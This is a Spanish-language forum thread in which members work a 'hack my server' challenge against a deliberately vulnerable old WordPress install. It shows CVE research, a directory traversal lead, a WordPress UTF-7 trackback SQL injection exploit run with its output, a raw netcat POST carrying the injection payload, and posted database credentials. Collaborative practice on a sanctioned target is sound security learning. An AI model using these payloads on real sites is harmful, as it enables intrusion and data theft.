Hack my server II

Iniciado por dimitrix, 28 Junio 2014, 20:09 PM

0 Miembros y 2 Visitantes están viendo este tema.

MinusFour

Yo siempre pense que passwd no tenia permisos de lectura... pero parece ser que todo mundo puede ver passwd xD tiene permisos 644 por default en mi Debian.

Al parecer puedo correr código en PHP pero ni idea de que hacer, no puedo escribir a archivos y estoy limitado a lo que www-data puede hacer xD.

WHK

Por lo visto nadie le ha tomado encuenta al wordpress, solo he visto nmap y accesos via server y phpmyadmin pero nada del wordpress instalado.

Esa version de wordpress es un 2.0 Realse candidate y se puede saber mirando el código fuente de la pagina principal:

<meta name="generator" content="WordPress 2.0.1-rc1" /> <!-- leave this for stats -->

Al buscar la version en internet verás que hay muchos CVE-IDs con muchos agujeros, hay dos inyecciones sql, una subida arbitraria de archivos y muchos xss y xsrf, pero lo que mas importa son las inyecciones sql y la subida remota de archivos.

CVE-IDs:
http://www.cvedetails.com/version/80039/Wordpress-Wordpress-2.0.1.html

Yo me estoy enfocando en el CVE-ID: CVE-2009-2334 del cual encontré información directa y oficial acá:
http://www.openwall.com/lists/oss-security/2009/08/04/5

Fuí a la referencia de Wordpress y vi los diff de los archivos:
https://core.trac.wordpress.org/changeset/11769

Con esto me di cuenta que podias modificar links sin ser admin asi que reviso el código fuente de mi archivo objetivo: edit-link-form.php
https://core.trac.wordpress.org/browser/branches/2.8/wp-admin/edit-link-form.php?rev=11769

El problema es que no se despliega el contenido ni sirven las acciones en el archivo. Será que la versión es un fake? no quiero entrar al phpmyadmin para ver la version de wordpress o si no se pierde toda la gracia de hacer un hackeo de verdad.

WHK

#92
Definitivamente no es wordpress 2.0 RC, las hojas de estilo son distintas a las del tracker y tampoco estan todos los archivos php que se supone debieran estar. Ahora el trabajo es averiguar la version exacta para poder buscar el factor de ataque.

Edito:
http://web.com/readme.html

Es 2.0 sin RC como aparece en la cabecera, lo mas probable es que era un fake o alguien hechó a correr el archivo /wp-admin/upgrade.php y lo actualizó a la version estable y se fueron la mayoría de los agujeros.

Dimitrix, deshabilitaste las actualizaciones?

WHK

El servidor está configurado para mostrar directorios sin indices, revisé el directorio de plugins para ver si habia alguno defectuoso y encontré esto:

http://vps84472.ovh.net/wp-content/plugins/

[DIR] akismet/ 2014-07-31 20:05 -
[ ] hello.php 2005-08-07 10:30 2.0K
[ ] wp-db-backup.php 2006-01-17 00:51 30K


wp-db-backup.php ?? por ahi debe estar dando vueltas una backup del sitio y lo mas probable es que esté con la db y el hash del admin y desde ahi comenzar a escalar hacia el servidor.

Edito: el plugin tiene directory traversal:
http://downloads.securityfocus.com/vulnerabilities/exploits/wordpress-wp-db-backup-dirtrav.html

MinusFour

Cita de: WHK en  1 Agosto 2014, 20:50 PM
Por lo visto nadie le ha tomado encuenta al wordpress, solo he visto nmap y accesos via server y phpmyadmin pero nada del wordpress instalado.

Esa version de wordpress es un 2.0 Realse candidate y se puede saber mirando el código fuente de la pagina principal:

<meta name="generator" content="WordPress 2.0.1-rc1" /> <!-- leave this for stats -->

Al buscar la version en internet verás que hay muchos CVE-IDs con muchos agujeros, hay dos inyecciones sql, una subida arbitraria de archivos y muchos xss y xsrf, pero lo que mas importa son las inyecciones sql y la subida remota de archivos.

CVE-IDs:
http://www.cvedetails.com/version/80039/Wordpress-Wordpress-2.0.1.html

Yo me estoy enfocando en el CVE-ID: CVE-2009-2334 del cual encontré información directa y oficial acá:
http://www.openwall.com/lists/oss-security/2009/08/04/5

Fuí a la referencia de Wordpress y vi los diff de los archivos:
https://core.trac.wordpress.org/changeset/11769

Con esto me di cuenta que podias modificar links sin ser admin asi que reviso el código fuente de mi archivo objetivo: edit-link-form.php
https://core.trac.wordpress.org/browser/branches/2.8/wp-admin/edit-link-form.php?rev=11769

El problema es que no se despliega el contenido ni sirven las acciones en el archivo. Será que la versión es un fake? no quiero entrar al phpmyadmin para ver la version de wordpress o si no se pierde toda la gracia de hacer un hackeo de verdad.


Ese no lo habia visto, no lo categorizan como 2.0.1 rc1, lo ponen como 2.0.1 pero me imagino que es lo mismo o sin verificar en la RC1 xD.

Yo ya probe este:

http://www.cvedetails.com/cve/CVE-2010-4257/

Y funciona perfectamente. Pero le voy a dar una ojeada a los que aparecen como 2.0.1 porque los que yo veia eran estos:

http://www.cvedetails.com/vulnerability-list/vendor_id-2337/product_id-4096/version_id-80039/Wordpress-Wordpress-2.0.1.html


dRak0

Perdon , es 2.0.1 RC 1 . Me baje el source de la pagina oficial de wordpress y el readme dice 2.0 . Lee 3 paginas atras que estuvimos discutiendo sobre entrar por wordpress.

WHK

Cita de: ret2libc en  1 Agosto 2014, 21:12 PM
Perdon , es 2.0.1 RC 1 . Me baje el source de la pagina oficial de wordpress y el readme dice 2.0 . Lee 3 paginas atras que estuvimos discutiendo sobre entrar por wordpress.

Tienes razón.

Estaba probando con http://downloads.securityfocus.com/vulnerabilities/exploits/wordpress_utf7_sqlinj_poc.txt y parece funcionar bien, solo que me falta el id de usuario del admin porque no es 1 y tampoco indica el id del posteador en las paginas.

me@Machine:~/Escritorio$ python *.py -h http://web.com/ -p 1 -i -1
Wordpress 2.0.5 - Trackback UTF-7 SQL injection exploit
Copyright (C) 2006 Stefan Esser/Hardened-PHP Project
           *** DO NOT DISTRIBUTE ***

[+] Connecting to check if mbstring is installed
[+] ext/mbstring is installed. continue with exploit
[+] Connecting to retrieve cookie hash
[+] Cookie hash found: 8d4624f99fb1f186b54020ddb0449012
[+] Connecting to lock trackbacks
[+] Connecting to determine mysql table prefix
[+] Table prefix is: wp_
[+] Connecting to check if user admin is present
[-] Error user_id invalid


Por lo menos ya se que el prefix es wp_ para efectos de inyección sql. Veré si puedo hacer la inyección manualmente via UTF-7.

#!drvy

El ID es 1, hay usuarios del 1 al 7. WHK, el tienes el PHPMyADMIN desprotegido para lanzar cualquier SQL xD, el wp-config.php

db_user = 'root';
db_password = '';
db_name = 'hackme2';
db_prefix = 'wp_';

Saludos

WHK

#98
nopues, la idea es no entrar al phpmyadmin o si no te pierdes de la emoción xD cualquiera puede escribir phpmyadmin en la url, la idea es entrar hackeando el sitio :p

Hice una petición post manualmente:

Me@Machine:~/Escritorio$ nc -v web.com 80
POST /wp-trackback.php?p=1 HTTP/1.1
Connection: close
Host: web.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 66

charset=UTF-7&title=None&url=None&excerpt=None&blog_name=%2bACc-


el WP devuelve la consulta SQL inyectada:
Connection to wrb.com 80 port [tcp/http] succeeded!
HTTP/1.1 200 OK
Date: Fri, 01 Aug 2014 19:36:18 GMT
Server: Apache/2.4.6 (Ubuntu)
X-Powered-By: PHP/5.5.3-1ubuntu2.6
X-Pingback: http://web.com/xmlrpc.php
Status: 200 OK
Vary: Accept-Encoding
Content-Length: 1359
Connection: close
Content-Type: text/xml; charset=UTF-8

<div id='error'>
<p class='wpdberror'><strong>WordPress database error:</strong> [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ILLEGAL' ) AND comment_content = '<strong>None...</strong>

None...' LIMIT 1' at line 1]<br />
<code>SELECT comment_ID FROM wp_comments WHERE comment_post_ID = '1' AND ( comment_author = ''ILLEGAL' ) AND comment_content = '<strong>None...</strong>

None...' LIMIT 1</code></p>
</div><div id='error'>
<p class='wpdberror'><strong>WordPress database error:</strong> [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ILLEGAL', '', 'http://None', '190.162.188.73', '2014-08-01 19:36:18', '2014-08-0' at line 4]<br />
<code>INSERT INTO wp_comments
(comment_post_ID, comment_author, comment_author_email, comment_author_url, comment_author_IP, comment_date, comment_date_gmt, comment_content, comment_approved, comment_agent, comment_type, comment_parent, user_id)
VALUES
('1', ''ILLEGAL', '', 'http://None', '190.162.188.73', '2014-08-01 19:36:18', '2014-08-01 19:36:18', '<strong>None...</strong>

None...', '0', '', 'trackback', '0', '0')
</code></p>
</div><?xml version="1.0" encoding="utf-8"?>
<response>
<error>0</error>

MinusFour

Cita de: #!drvy en  1 Agosto 2014, 21:32 PM
El ID es 1, hay usuarios del 1 al 7. WHK, el tienes el PHPMyADMIN desprotegido para lanzar cualquier SQL xD, el wp-config.php

db_user = 'root';
db_password = '';
db_name = 'hackme2';
db_prefix = 'wp_';

Saludos

¿El wp_config.php lo puedes ver usando el infile? :O

Por cierto el exploit en python lo estoy probando y como quiera no regresa el hash xD